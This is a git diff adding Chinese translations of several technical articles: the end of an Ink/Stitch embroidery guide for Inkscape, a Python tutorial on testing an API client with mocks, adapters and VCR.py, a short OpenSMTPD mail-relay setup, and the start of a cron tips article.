+支持繁杂多样的线迹类型是一个难题,绘制工具与缝制工具的搭配使用又是另一个难题。不过,为什么非要从无到有搞出一套新应用?为什么不依赖现有的矢量软件?这样一来,开发者只需要在其基础上增添绣花扩展功能即可。后者就是 [Ink/Stitch 项目][4] 过去四年来的设计理念。 + +### 安装 Ink/Stitch + +Ink/Stitch 是 [Inkscape 的一个扩展功能][16]。不过,由于 Inkscape 下载安装扩展的新功能还处于测试阶段,在其提供的扩展功能中可能无法找到 Ink/Stitch。因此,你需要自行手动 [下载][17] 该扩展。下载后,将压缩包解压到 Inkscape 扩展所在路径,默认路径为 `~/.config/Inkscape/extensions`(或者放置在系统全局路径:`/usr/share/inkscape/extensions`)。若你改变了默认路径,则需检查 Inkscape 设置选项,找到扩展文件的存放位置。 + +### 自定义:为 Ink/Stitch 安装插件 + +Ink/Stitch 提供了为 Inkscape 安装插件的功能,用户需首先执行这一功能。 + +依次点击如下选项:扩展Extensions > Ink/Stitch > 线条颜色管理Thread Color Management > 为 Inkscape 安装线条调色板Install thread color palettes for Inkscape,之后等待片刻。 + +虽然这一过程不会出现进度条之类的提示,不过也无需着急。 + +该功能执行后,将会安装来自不同纱线制造商的 70 套色板,以及一套符号库。 + +![Inkscape with the swatches dialogue open, which shows the Madeira Rayon color palette][18] + +如果你使用的 Ink/Stitch 是从 Github 下载的 2.0.0 版本,那么下载下来的 ZIP 文件里就包括了色板文件。你只需将其解压到正确的路径:`~/.config/inkscape/palettes/`。如果你需要环形模板,可以点击 [此处][19] 下载,并将其保存到 `~/.config/inkscape/templates` 目录下。 + +重新启动 Inkscape,可在 文件File > 由模板新建New From Template 下找到该模板。 + +### Ink/Stitch 绣字 + +到目前为止,绣花设计最简单也最常用的方法就是使用 Ink/Stitch 的 文字缝制Lettering 功能。该功能位于 扩展Extensions > Ink/Stitch > 文字缝制Lettering。绣花文字缝制可不是一件简单事儿,它其实就是所谓的缎面绣字,需要做好特殊的文字设置。 + +![Inkscape with a “Chopin” glyph for satin stitching defined for the Lettering function][20] + +你可以将路径转换为缎面绣,但是这种方法比使用文字缝制功能还要繁琐许多。多亏了社区的活跃,2021 年 5 月份发布的 Ink/Stitch 2.0 版本预置了更多的字体。2.0 版本还增加了 扩展Extensions > Ink/Stitch > 字体管理Font Management 功能,让用户更方便地管理这些字体。 + +此外,还有制作字体的功能,但是你需要了解如何使用 Inkscape 设计字体,可在 [此处][21] 浏览相关英文教程。这里只给出大概的介绍:首先创建一个 SVG 字体,接着将其储存在 JSON 文件中,这样便可以在 Ink/Stitch 字体管理功能中使用。 + +![On the left side the Lettering dialogue and on the right the preview of this settings][22] + +该功能将打开一个对话窗口,你可以把文字输进去,调整字体及其大小,然后即可将输入的文字渲染出来。 + +### 绣制区域、路径等对象 + +Ink/Stitch 最容易实现的就是绣制区域或者路径。你需要做的只是画出路径。如果你使用的是形状,那么你需要将其转换成路径,然后执行如下操作:扩展Extensions > Ink/Stitch > 填充工具Fill Tools > 分离填充对象Break Apart Fill Objects…,将路径分割成若干部分。 + +虽然 Inkscape 也有 路径Path > 分离Break apart 功能,但是在这种情况下并不可行。 + +接下来,运行 Ink/Stitch 内置模拟器:扩展Extensions > Ink/Stitch > 可视化并导出Visualise and Export > 模拟器/实际预览Simulator/Realistic Preview。 + +![The new Fedora logo as Stitch Plan Preview][23] + +注意,模拟器运行时需要占用大量的系统资源,而且启动时间也比较长。其实,以下功能操作起来会更加简便:扩展Extensions > Ink/Stitch > 可视化并导出Visualise and Export > 线迹计划预览Stitch Plan Preview。该功能会在文件外部对线条进行渲染。 + +![Nicubunu’s Fedora hat icon as embroidery. The angles for the stitches of the head part and the brim are different so that it looks more realistic. The outline is done in Satin stitching][24] + +### 简单的缎面及缎面绣 + +Ink/Stitch 会使用连续的线条(非虚线)将每个笔画转换成之字形或简单的缎面。依照预先设置好的描边宽度,沿着路径绣出线迹。只要路径上没有过多的曲线,使用这一方法就没问题。 + +![Parameter setting dialogue and on the right the Fedora logo shape embroidered as Zig-Zag line][25] + +这个方法虽然简单,但绝不是最好的选择。最好的选择是使用缎面工具,该功能可以在 扩展Extensions > 缎面工具Satin Tools 找到。其中,转换功能又是重中之重,它可以将路径转换为缎面笔画。 + +![Fedora logo shape as Satin Line embroidery][26] + +通过 扩展Extensions > 缎面工具Satin Tools > 旋转缎纹路径Flip Satin Column Rails,你还可以改变线迹的方向。这样做可以凸显缎面绣的立体感,典型的例子就是泡芙刺绣(一种非常具有立体感的刺绣)。支持这种功能的机器还可以为绣花时产生的多余的连线线迹标记出修剪记号。这些记号正是从 Ink/Stitch 自身符号库里安装得到的符号。 + +### Ink/Stitch 线迹库 + +线迹库包括了 Ink/Stitch 可以创建的线迹类型。在前文,填充式线迹和之字形/缎纹线迹已经介绍过了,不过其他还有很多。 + + * **平针**:平针用于边缘装饰,沿直线或曲线缝制出一排短小的线迹,由此组成的一条条虚线就是平针。虚线的尺寸可大可小。 + + ![A running stitch – each dashed line will be converted in such one][27] + + * **豆针**:豆针可用于边缘装饰或添加设计细节。使用平针来回缝制就是豆针,这种缝法会增加线迹的厚度。 + + ![Bean Stitches – creating a thicker line][28] + + * **手工针**:在该模式下,Ink/Stitch 会将路径的每个节点当作穿针点;这些节点也正是针穿入的位置。 + + ![In manual mode – each node will be the needle penetration point][29] + + * **E 字针**:E 字针是一种简单但十分好用的绷缝线迹,用于贴花织物。这种线迹多用于婴儿装,因为婴儿的皮肤比较敏感。 + + ![E-Stitch mostly used for applications on baby cloths, soft but strong connection][30] + +### 绣花用线列表 + +有些绣花机,尤其是商用的绣花机,根据设计的需要,可以提前适配不同的针线。必要时,这类机器会自动切换使用合适的针线。有些绣花文件格式支持这一功能,但有些并不支持。Ink/Stitch 可以将用户设置好的线条列表应用到绣花设计中。 + +如果你想在现有的设计上导入线条列表,可执行如下操作:扩展Extensions > Ink/Stitch > 导入线条列表Import Threadlist。同样的,线条列表也可以导出:另存为Save As 不同的文件格式,如 *.zip。当然,也可以将其打印出来:扩展Extensions > Ink/Stitch > 可视化并导出Visualise and Export > 打印 PDFPrint PDF。 + +### 结语 + +为绣花设计编写软件可不是一件简单的事儿,软件需要支持很多功能,还要应对不同文件格式(有些属于闭源文件格式)带来的难题。Ink/Stitch 已经做得很好了,尽力打造出了一款功能多样的绣花工具,让用户能够进行基础的绣花设计。当然,它也不是完美的,有些功能还需要完善。但是,Ink/Stitch 绝对是一款十分优秀的工具,我也希望它能越来越好。绣花是个不错的兴趣爱好,有了 Ink/Stitch,Fedora Linux 用户便可开启天马行空的设计之门。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/make-more-with-inkscape-ink-stitch/ + +作者:[Sirko Kemter][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/gnokii/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2021/08/drawing2-816x345.png +[2]: https://fedoramagazine.org/series/make-more/ +[3]: https://fedoramagazine.org/make-more-with-inkscape-g-code-tools/ +[4]: https://inkstitch.org/ +[5]: https://fedoramagazine.org/3d-printing-in-fedora-from-an-idea-to-the-thing/ +[6]: https://en.wikipedia.org/wiki/Numerical_control +[7]: https://www.amazon.com/-/de/dp/B07VZ2YBLL/ref=sr_1_11?__mk_de_DE=%C3%85M%C3%85%C5%BD%C3%95%C3%91&crid=1MFJJWXMKQD6R&dchild=1&keywords=home+embroidery+machine&qid=1628388092&rnid=2941120011&s=arts-crafts&sprefix=home+embroider+%2Caps%2C-1&sr=1-11 +[8]: https://www.fablabs.io/labs/map +[9]: https://www.embird.net/ +[10]: https://embroidermodder.org/ +[11]: https://fedoramagazine.org/wp-content/uploads/2021/08/inkstitch_logo.png +[12]: https://github.com/Embroidermodder/libembroidery +[13]: https://github.com/inkstitch/pyembroidery +[14]: http://www.needlework.ru/page/embroidery.htm +[15]: http://edutechwiki.unige.ch/en/Embroidery_format +[16]: https://inkscape.org/~wwderw/%E2%98%85inkstitch-embroidery-extension +[17]: https://github.com/inkstitch/inkstitch/releases/tag/v2.0.0 +[18]: https://fedoramagazine.org/wp-content/uploads/2021/08/swatches-1024x556.png +[19]: https://inkstitch.org/assets/images/tutorials/templates/hoop-template.svg +[20]: https://fedoramagazine.org/wp-content/uploads/2021/08/satinfont-1024x556.png +[21]: https://inkstitch.org/tutorials/font-creation/ +[22]: https://fedoramagazine.org/wp-content/uploads/2021/08/lettering-1024x523.png +[23]: https://fedoramagazine.org/wp-content/uploads/2021/08/stitch-preview-1024x556.png +[24]: https://fedoramagazine.org/wp-content/uploads/2021/08/nicu-stitch.gif +[25]: https://fedoramagazine.org/wp-content/uploads/2021/08/zigzag-1024x463.png +[26]: https://fedoramagazine.org/wp-content/uploads/2021/08/satin.png +[27]: https://fedoramagazine.org/wp-content/uploads/2021/08/running-stitch-detail.jpg +[28]: https://fedoramagazine.org/wp-content/uploads/2021/08/bean-stitch-detail.jpg +[29]: https://fedoramagazine.org/wp-content/uploads/2021/08/manual-stitch-detail.png +[30]: https://fedoramagazine.org/wp-content/uploads/2021/08/e-stitch-detail.jpg diff --git a/published/202208/20210921 3 ways to test your API with Python.md b/published/202208/20210921 3 ways to test your API with Python.md new file mode 100644 index 0000000000..a6951521eb --- /dev/null +++ b/published/202208/20210921 3 ways to test your API with Python.md @@ -0,0 +1,488 @@ +[#]: subject: "3 ways to test your API with Python" +[#]: via: "https://opensource.com/article/21/9/unit-test-python" +[#]: author: "Miguel Brito https://opensource.com/users/miguendes" +[#]: collector: "lujun9972" +[#]: translator: "Yufei-Yan" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14944-1.html" + +用 Python 测试 API 的 3 种方式 +===== + +> 单元测试可能令人生畏,但是这些 Python 模块会使你的生活变得更容易。 + +![](https://img.linux.net.cn/data/attachment/album/202208/18/180800clp08p82pi838zrs.jpg) + +在这个教程中,你将学到如何对执行 HTTP 请求代码的进行单元测试。也就是说,你将看到用 Python 对 API 进行单元测试的艺术。 + +单元测试是指对单个行为的测试。在测试中,一个众所周知的经验法则就是隔离那些需要外部依赖的代码。 + +比如,当测试一段执行 HTTP 请求的代码时,建议在测试过程中,把真正的调用替换成一个假的的调用。这种情况下,每次运行测试的时候,就可以对它进行单元测试,而不需要执行一个真正的 HTTP 请求。 + +问题就是,_怎样才能隔离这些代码?_ + +这就是我希望在这篇博文中回答的问题!我不仅会向你展示如果去做,而且也会权衡不同方法之间的优点和缺点。 + +要求: + + * [Python 3.8][2] + * pytest-mock + * requests + * flask + * responses + * VCR.py + +### 使用一个天气状况 REST API 的演示程序 + +为了更好的解决这个问题,假设你正在创建一个天气状况的应用。这个应用使用第三方天气状况 REST API 来检索一个城市的天气信息。其中一个需求是生成一个简单的 HTML 页面,像下面这个图片: + +![web page displaying London weather][3] + +*伦敦的天气,OpenWeatherMap。图片是作者自己制作的。* + +为了获得天气的信息,必须得去某个地方找。幸运的是,通过 [OpenWeatherMap][2] 的 REST API 服务,可以获得一切需要的信息。 + +_好的,很棒,但是我该怎么用呢?_ + +通过发送一个 `GET` 请求到:`https://api.openweathermap.org/data/2.5/weather?q={city_name}&appid={api_key}&units=metric`,就可以获得你所需要的所有东西。在这个教程中,我会把城市名字设置成一个参数,并确定使用公制单位。 + +### 检索数据 + +使用 `requests` 模块来检索天气数据。你可以创建一个接收城市名字作为参数的函数,然后返回一个 JSON。JSON 包含温度、天气状况的描述、日出和日落时间等数据。 + +下面的例子演示了这样一个函数: + +``` +def find_weather_for(city: str) -> dict: +    """Queries the weather API and returns the weather data for a particular city.""" +    url = API.format(city_name=city, api_key=API_KEY) +    resp = requests.get(url) +    return resp.json() +``` + +这个 URL 是由两个全局变量构成: + +``` +BASE_URL = "https://api.openweathermap.org/data/2.5/weather" +API = BASE_URL + "?q={city_name}&appid={api_key}&units=metric" +``` + +API 以这个格式返回了一个 JSON: + +``` +{ +  "coord": { +    "lon": -0.13, +    "lat": 51.51 +  }, +  "weather": [ +    { +      "id": 800, +      "main": "Clear", +      "description": "clear sky", +      "icon": "01d" +    } +  ], +  "base": "stations", +  "main": { +    "temp": 16.53, +    "feels_like": 15.52, +    "temp_min": 15, +    "temp_max": 17.78, +    "pressure": 1023, +    "humidity": 72 +  }, +  "visibility": 10000, +  "wind": { +    "speed": 2.1, +    "deg": 40 +  }, +  "clouds": { +    "all": 0 +  }, +  "dt": 1600420164, +  "sys": { +    "type": 1, +    "id": 1414, +    "country": "GB", +    "sunrise": 1600407646, +    "sunset": 1600452509 +  }, +  "timezone": 3600, +  "id": 2643743, +  "name": "London", +  "cod": 200 +``` + +当调用 `resp.json()` 的时候,数据是以 Python 字典的形式返回的。为了封装所有细节,可以用 `dataclass` 来表示它们。这个类有一个工厂方法,可以获得这个字典并且返回一个 `WeatherInfo` 实例。 + +这种办法很好,因为可以保持这种表示方法的稳定。比如,如果 API 改变了 JSON 的结构,就可以在同一个地方(`from_dict` 方法中)修改逻辑。其他代码不会受影响。你也可以从不同的源获得信息,然后把它们都整合到 `from_dict` 方法中。 + +``` +@dataclass +class WeatherInfo: +    temp: float +    sunset: str +    sunrise: str +    temp_min: float +    temp_max: float +    desc: str + +    @classmethod +    def from_dict(cls, data: dict) -> "WeatherInfo": +        return cls( +            temp=data["main"]["temp"], +            temp_min=data["main"]["temp_min"], +            temp_max=data["main"]["temp_max"], +            desc=data["weather"][0]["main"], +            sunset=format_date(data["sys"]["sunset"]), +            sunrise=format_date(data["sys"]["sunrise"]), +        ) +``` + +现在来创建一个叫做 `retrieve_weather` 的函数。使用这个函数调用 API,然后返回一个 `WeatherInfo`,这样就可创建你自己的 HTML 页面。 + +``` +def retrieve_weather(city: str) -> WeatherInfo: +    """Finds the weather for a city and returns a WeatherInfo instance.""" +    data = find_weather_for(city) +    return WeatherInfo.from_dict(data) +``` + +很好,我们的 app 现在有一些基础了。在继续之前,对这些函数进行单元测试。 + +### 1、使用 mock 测试 API + +[根据维基百科][4],模拟对象mock object是通过模仿真实对象来模拟它行为的一个对象。在 Python 中,你可以使用 `unittest.mock` 库来模拟mock任何对象,这个库是标准库中的一部分。为了测试 `retrieve_weather` 函数,可以模拟 `requests.get`,然后返回静态数据。 + +#### pytest-mock + +在这个教程中,会使用 `pytest` 作为测试框架。通过插件,`pytest` 库是非常具有扩展性的。为了完成我们的模拟目标,要用 `pytest-mock`。这个插件抽象化了大量 `unittest.mock` 中的设置,也会让你的代码更简洁。如果你感兴趣的话,我在 [另一篇博文中][5] 会有更多的讨论。 + +_好的,言归正传,现在看代码。_ + +下面是一个 `retrieve_weather` 函数的完整测试用例。这个测试使用了两个 `fixture`:一个是由 `pytest-mock` 插件提供的 `mocker` fixture, 还有一个是我们自己的。就是从之前请求中保存的静态数据。 + +``` +@pytest.fixture() +def fake_weather_info(): +    """Fixture that returns a static weather data.""" +    with open("tests/resources/weather.json") as f: +        return json.load(f) +``` + +``` +def test_retrieve_weather_using_mocks(mocker, fake_weather_info): +    """Given a city name, test that a HTML report about the weather is generated +    correctly.""" +    # Creates a fake requests response object +    fake_resp = mocker.Mock() +    # Mock the json method to return the static weather data +    fake_resp.json = mocker.Mock(return_value=fake_weather_info) +    # Mock the status code +    fake_resp.status_code = HTTPStatus.OK + +    mocker.patch("weather_app.requests.get", return_value=fake_resp) + +    weather_info = retrieve_weather(city="London") +    assert weather_info == WeatherInfo.from_dict(fake_weather_info) +``` + +如果运行这个测试,会获得下面的输出: + +``` +============================= test session starts ============================== +...[omitted]... +tests/test_weather_app.py::test_retrieve_weather_using_mocks PASSED      [100%] +============================== 1 passed in 0.20s =============================== +Process finished with exit code 0 +``` + +很好,测试通过了!但是...生活并非一帆风顺。这个测试有优点,也有缺点。现在来看一下。 + +#### 优点 + +好的,有一个之前讨论过的优点就是,通过模拟 API 的返回值,测试变得简单了。将通信和 API 隔离,这样测试就可以预测了。这样总会返回你需要的东西。 + +#### 缺点 + +对于缺点,问题就是,如果不再想用 `requests` 了,并且决定回到标准库的 `urllib`,怎么办。每次改变 `find_weather_for` 的代码,都得去适配测试。好的测试是,当你修改代码实现的时候,测试时不需要改变的。所以,通过模拟,你最终把测试和实现耦合在了一起。 + +而且,另一个不好的方面是你需要在调用函数之前进行大量设置——至少是三行代码。 + +``` +... +    # Creates a fake requests response object +    fake_resp = mocker.Mock() +    # Mock the json method to return the static weather data +    fake_resp.json = mocker.Mock(return_value=fake_weather_info) +    # Mock the status code +    fake_resp.status_code = HTTPStatus.OK +... +``` + +_我可以做的更好吗?_ + +是的,请继续看。我现在看看怎么改进一点。 + +### 使用 responses + +用 `mocker` 功能模拟 `requests` 有点问题,就是有很多设置。避免这个问题的一个好办法就是使用一个库,可以拦截 `requests` 调用并且给它们 打补丁patch。有不止一个库可以做这件事,但是对我来说最简单的是 `responses`。我们来看一下怎么用,并且替换 `mock`。 + +``` +@responses.activate +def test_retrieve_weather_using_responses(fake_weather_info): +    """Given a city name, test that a HTML report about the weather is generated +    correctly.""" +    api_uri = API.format(city_name="London", api_key=API_KEY) +    responses.add(responses.GET, api_uri, json=fake_weather_info, status=HTTPStatus.OK) + +    weather_info = retrieve_weather(city="London") +    assert weather_info == WeatherInfo.from_dict(fake_weather_info) +``` + +这个函数再次使用了我们的 `fake_weather_info` fixture。 + +然后运行测试: + +``` +============================= test session starts ============================== +... +tests/test_weather_app.py::test_retrieve_weather_using_responses PASSED  [100%] +============================== 1 passed in 0.19s =============================== +``` + +非常好!测试也通过了。但是...并不是那么棒。 + +#### 优点 + +使用诸如 `responses` 这样的库,好的方面就是不需要再给 `requests` 打补丁patch。通过将这层抽象交给库,可以减少一些设置。然而,如果你没注意到的话,还是有一些问题。 + +#### 缺点 + +和 `unittest.mock` 很像,测试和实现再一次耦合了。如果替换 `requests`,测试就不能用了。 + +### 2、使用适配器测试 API + +_如果用模拟让测试耦合了,我能做什么?_ + +设想下面的场景:假如说你不能再用 `requests` 了,而且必须要用 `urllib` 替换,因为这是 Python 自带的。不仅仅是这样,你了解了不要把测试代码和实现耦合,并且你想今后都避免这种情况。你想替换 `urllib`,也不想重写测试了。 + +事实证明,你可以抽象出执行 `GET` 请求的代码。 + +_真的吗?怎么做?_ + +可以使用适配器adapter来抽象它。适配器是一种用来封装其他类的接口,并作为新接口暴露出来的一种设计模式。用这种方式,就可以修改适配器而不需要修改代码了。比如,在 `find_weather_for` 函数中,封装关于 `requests` 的所有细节,然后把这部分暴露给只接受 URL 的函数。 + +所以,这个: + +``` +def find_weather_for(city: str) -> dict: +    """Queries the weather API and returns the weather data for a particular city.""" +    url = API.format(city_name=city, api_key=API_KEY) +    resp = requests.get(url) +    return resp.json() +``` + +变成这样: + +``` +def find_weather_for(city: str) -> dict: +    """Queries the weather API and returns the weather data for a particular city.""" +    url = API.format(city_name=city, api_key=API_KEY) +    return adapter(url) +``` + +然后适配器变成这样: + +``` +def requests_adapter(url: str) -> dict: +    resp = requests.get(url) +    return resp.json() +``` + +现在到了重构 `retrieve_weather` 函数的时候: + +``` +def retrieve_weather(city: str) -> WeatherInfo: +    """Finds the weather for a city and returns a WeatherInfo instance.""" +    data = find_weather_for(city, adapter=requests_adapter) +    return WeatherInfo.from_dict(data) +``` + +所以,如果你决定改为使用 `urllib` 的实现,只要换一下适配器: + +``` +def urllib_adapter(url: str) -> dict: +    """An adapter that encapsulates urllib.urlopen""" +    with urllib.request.urlopen(url) as response: +        resp = response.read() +    return json.loads(resp) +``` + +``` +def retrieve_weather(city: str) -> WeatherInfo: +    """Finds the weather for a city and returns a WeatherInfo instance.""" +    data = find_weather_for(city, adapter=urllib_adapter) +    return WeatherInfo.from_dict(data) +``` + +_好的,那测试怎么做?_ + +为了测试 `retrieve_weather`, 只要创建一个在测试过程中使用的假的适配器: + +``` +@responses.activate +def test_retrieve_weather_using_adapter( +    fake_weather_info, +): +    def fake_adapter(url: str): +        return fake_weather_info + +    weather_info = retrieve_weather(city="London", adapter=fake_adapter) +    assert weather_info == WeatherInfo.from_dict(fake_weather_info) +``` + +如果运行测试,会获得: + +``` +============================= test session starts ============================== +tests/test_weather_app.py::test_retrieve_weather_using_adapter PASSED    [100%] +============================== 1 passed in 0.22s =============================== +``` + +#### 优点 + +这个方法的优点是可以成功将测试和实现解耦。使用[依赖注入][6]dependency injection在测试期间注入一个假的适配器。你也可以在任何时候更换适配器,包括在运行时。这些事情都不会改变任何行为。 + +#### 缺点 + +缺点就是,因为你在测试中用了假的适配器,如果在实现中往适配器中引入了一个 bug,测试的时候就不会发现。比如说,往 `requests` 传入了一个有问题的参数,像这样: + +``` +def requests_adapter(url: str) -> dict: +    resp = requests.get(url, headers=) +    return resp.json() +``` + +在生产环境中,适配器会有问题,而且单元测试没办法发现。但是事实是,之前的方法也会有同样的问题。这就是为什么不仅要单元测试,并且总是要集成测试。也就是说,要考虑另一个选项。 + +### 3、使用 VCR.py 测试 API + +现在终于到了讨论我们最后一个选项了。诚实地说,我也是最近才发现这个。我用模拟mock也很长时间了,而且总是有一些问题。`VCR.py` 是一个库,它可以简化很多 HTTP 请求的测试。 + +它的工作原理是将第一次运行测试的 HTTP 交互记录为一个 YAML 文件,叫做 `cassette`。请求和响应都会被序列化。当第二次运行测试的时候,`VCT.py` 将拦截对请求的调用,并且返回一个响应。 + +现在看一下下面如何使用 `VCR.py` 测试 `retrieve_weather`: + +``` +@vcr.use_cassette() +def test_retrieve_weather_using_vcr(fake_weather_info): +    weather_info = retrieve_weather(city="London") +    assert weather_info == WeatherInfo.from_dict(fake_weather_info) +``` + +_天呐,就这样?没有设置?`@vcr.use_cassette()` 是什么?_ + +是的,就这样!没有设置,只要一个 `pytest` 标注告诉 VCR 去拦截调用,然后保存 cassette 文件。 + +_cassette 文件是什么样?_ + +好问题。这个文件里有很多东西。这是因为 VCR 保存了交互中的所有细节。 + +``` +interactions: +- request: +    body: null +    headers: +      Accept: +      - '*/*' +      Accept-Encoding: +      - gzip, deflate +      Connection: +      - keep-alive +      User-Agent: +      - python-requests/2.24.0 +    method: GET +    uri: https://api.openweathermap.org/data/2.5/weather?q=London&appid=&units=metric +  response: +    body: +      string: '{"coord":{"lon":-0.13,"lat":51.51},"weather":[{"id":800,"main":"Clear","description":"clearsky","icon":"01d"}],"base":"stations","main":{"temp":16.53,"feels_like":15.52,"temp_min":15,"temp_max":17.78,"pressure":1023,"humidity":72},"visibility":10000,"wind":{"speed":2.1,"deg":40},"clouds":{"all":0},"dt":1600420164,"sys":{"type":1,"id":1414,"country":"GB","sunrise":1600407646,"sunset":1600452509},"timezone":3600,"id":2643743,"name":"London","cod":200}' +    headers: +      Access-Control-Allow-Credentials: +      - 'true' +      Access-Control-Allow-Methods: +      - GET, POST +      Access-Control-Allow-Origin: +      - '*' +      Connection: +      - keep-alive +      Content-Length: +      - '454' +      Content-Type: +      - application/json; charset=utf-8 +      Date: +      - Fri, 18 Sep 2020 10:53:25 GMT +      Server: +      - openresty +      X-Cache-Key: +      - /data/2.5/weather?q=london&units=metric +    status: +      code: 200 +      message: OK +version: 1 +``` + +_确实很多!_ + +真的!好的方面就是你不需要留意它。`VCR.py` 会为你安排好一切。 + +#### 优点 + +现在看一下优点,我可以至少列出五个: + + * 没有设置代码。 + * 测试仍然是分离的,所以很快。 + * 测试是确定的。 + * 如果你改了请求,比如说用了错误的 header,测试会失败。 + * 没有与代码实现耦合,所以你可以换适配器,而且测试会通过。唯一有关系的东西就是请求必须是一样的。 + +#### 缺点 + +再与模拟相比较,除了避免了错误,还是有一些问题。 + +如果 API 提供者出于某种原因修改了数据格式,测试仍然会通过。幸运的是,这种情况并不经常发生,而且在这种重大改变之前,API 提供者通常会给他们的 API 提供不同版本。 + +另一个需要考虑的事情是就地in place端到端end-to-end测试。每次服务器运行的时候,这些测试都会调用。顾名思义,这是一个范围更广、更慢的测试。它们会比单元测试覆盖更多。事实上,并不是每个项目都需要使用它们。所以,就我看来,`VCR.py` 对于大多数人的需求来说都绰绰有余。 + +### 总结 + +就这么多了。我希望今天你了解了一些有用的东西。测试 API 客户端应用可能会有点吓人。然而,当武装了合适的工具和知识,你就可以驯服这个野兽。 + +在 [我的 Github][8] 上可以找到这个完整的应用。 + +_这篇文章最早发表在 [作者的个人博客][9],授权转载_ + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/9/unit-test-python + +作者:[Miguel Brito][a] +选题:[lujun9972][b] +译者:[Yufei-Yan](https://github.com/Yufei-Yan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/miguendes +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/puzzle_computer_solve_fix_tool.png?itok=U0pH1uwj (Puzzle pieces coming together to form a computer screen) +[2]: https://miguendes.me/how-i-set-up-my-python-workspace +[3]: https://opensource.com/sites/default/files/sbzkkiywh.jpeg +[4]: https://en.wikipedia.org/wiki/Mock_object +[5]: https://miguendes.me/7-pytest-plugins-you-must-definitely-use +[6]: https://stackoverflow.com/questions/130794/what-is-dependency-injection +[7]: https://api.openweathermap.org/data/2.5/weather?q=London&appid= +[8]: https://github.com/miguendes/tutorials/tree/master/testing_http +[9]: https://miguendes.me/3-ways-to-test-api-client-applications-in-python diff --git a/published/202208/20211109 relaying mail to multiple smarthosts with opensmtpd.md b/published/202208/20211109 relaying mail to multiple smarthosts with opensmtpd.md new file mode 100644 index 0000000000..5b9a69799c --- /dev/null +++ b/published/202208/20211109 relaying mail to multiple smarthosts with opensmtpd.md @@ -0,0 +1,75 @@ +[#]: subject: "relaying mail to multiple smarthosts with opensmtpd" +[#]: via: "https://jao.io/blog/2021-11-09-relaying-mail-to-multiple-smarthosts.html" +[#]: author: "jao https://jao.io" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14891-1.html" + +使用 OpenSMTPD 将邮件中继到多个 smarthost +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/03/162813rc900xbgx3xggxxg.jpg) + +我喜欢使用本地 SMTP 守护进程从我的笔记本电脑发送电子邮件,因为这样我即使在断开连接的情况下也可以发送电子邮件,而且,即使是在网络正常的情况下,因为我不需要等待网络协议在远程 smarthost 上完成。哦,我还需要本地邮件投递。 + +多年来,我一直使用 Postfix 来达到这些目的。它具有可接受的简单配置。但最近我开始喜欢 VPN([mullvad][1],如果你想知道的话),而在 `/etc/resolv.conf` 发生变化时会变得混乱(例如,你在 Postfix 的服务启动后才启动 VPN)。我找到了一个非常简单的替代方案:[OpenSMTPD][2]。 + +假设我想在使用 [jao@gnu.org][3] 发送电子邮件时使用 SMTP 服务器 fencepost.gnu.org,而在我的 `From` 头中使用 [mail@jao.io][4] 或 [news@xmobar.org][5] 时使用 smtp.jao.io。OpenSMTPD 让你通过一个非常简单的配置文件 `/etc/smtpd.conf` 来实现: + +(这是我的 Debian 机器中的默认配置文件。另一个流行的替代方案是 `/etc/openstmpd.conf`)。 + +``` +table aliases file:/etc/aliases +table secrets db:/etc/mail/secrets.db + +table sendergnu { jao@gnu.org } +table senderjao { mail@jao.io, news@xmobar.org } + +listen on localhost + +action "local" mbox alias +action "relaygnu" relay host smtp+tls://gnu@fencepost.gnu.org:587 auth +action "relayjao" relay host smtps://jao@smtp.jao.io:465 auth + +match for local action "local" +match for any from mail-from action "relaygnu" +match for any from mail-from action "relaygan" +``` + +我们还为此配置了本地投递。这是完整的配置文件!唯一需要的另一件事是生成 `secrets.db` 文件,其中包含与键 `gnu` 和 `jao` 对应的用户和密码(这些只是任意名称)。为此,我们使用它们创建一个纯文本文件,使用形式为 ` :` 的条目: + +``` +gnu jao:my fencepost password +jao mail@jao.io:xxxxxxxxxxxxxxxxx +``` + +`fencepost.gnu.org` 用户是 `jao`,`smtp.jao.io` 的用户是 `mail@jao.io`(你看,不需要转义空格或 ats)。然后我们使用程序 `makemap` 来创建密钥数据库: + +``` +makemap secrets && rm secrets +``` + +-------------------------------------------------------------------------------- + +via: https://jao.io/blog/2021-11-09-relaying-mail-to-multiple-smarthosts.html + +作者:[jao][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jao.io +[b]: https://github.com/lujun9972 +[1]: https://en.wikipedia.org/wiki/Mullvad +[2]: https://www.opensmtpd.org/ +[3]: mailto:jao@gnu.org +[4]: mailto:mail@jao.io +[5]: mailto:news@xmobar.org +[6]: tmp.zHAc8OxDnm#fn.1 +[7]: tmp.zHAc8OxDnm#fnr.1 +[8]: https://jao.io/blog/tags.html +[9]: https://jao.io/blog/tag-sundry.html diff --git a/published/202208/20211115 Linux tips for using cron to schedule tasks.md b/published/202208/20211115 Linux tips for using cron to schedule tasks.md new file mode 100644 index 0000000000..18f7eb0335 --- /dev/null +++ b/published/202208/20211115 Linux tips for using cron to schedule tasks.md @@ -0,0 +1,189 @@ +[#]: subject: "Linux tips for using cron to schedule tasks" +[#]: via: "https://opensource.com/article/21/11/cron-linux" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "Veryzzj" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14932-1.html" + +使用 cron 定时任务的小技巧 +====== + +> 通过使用这个简单而强大的 Linux 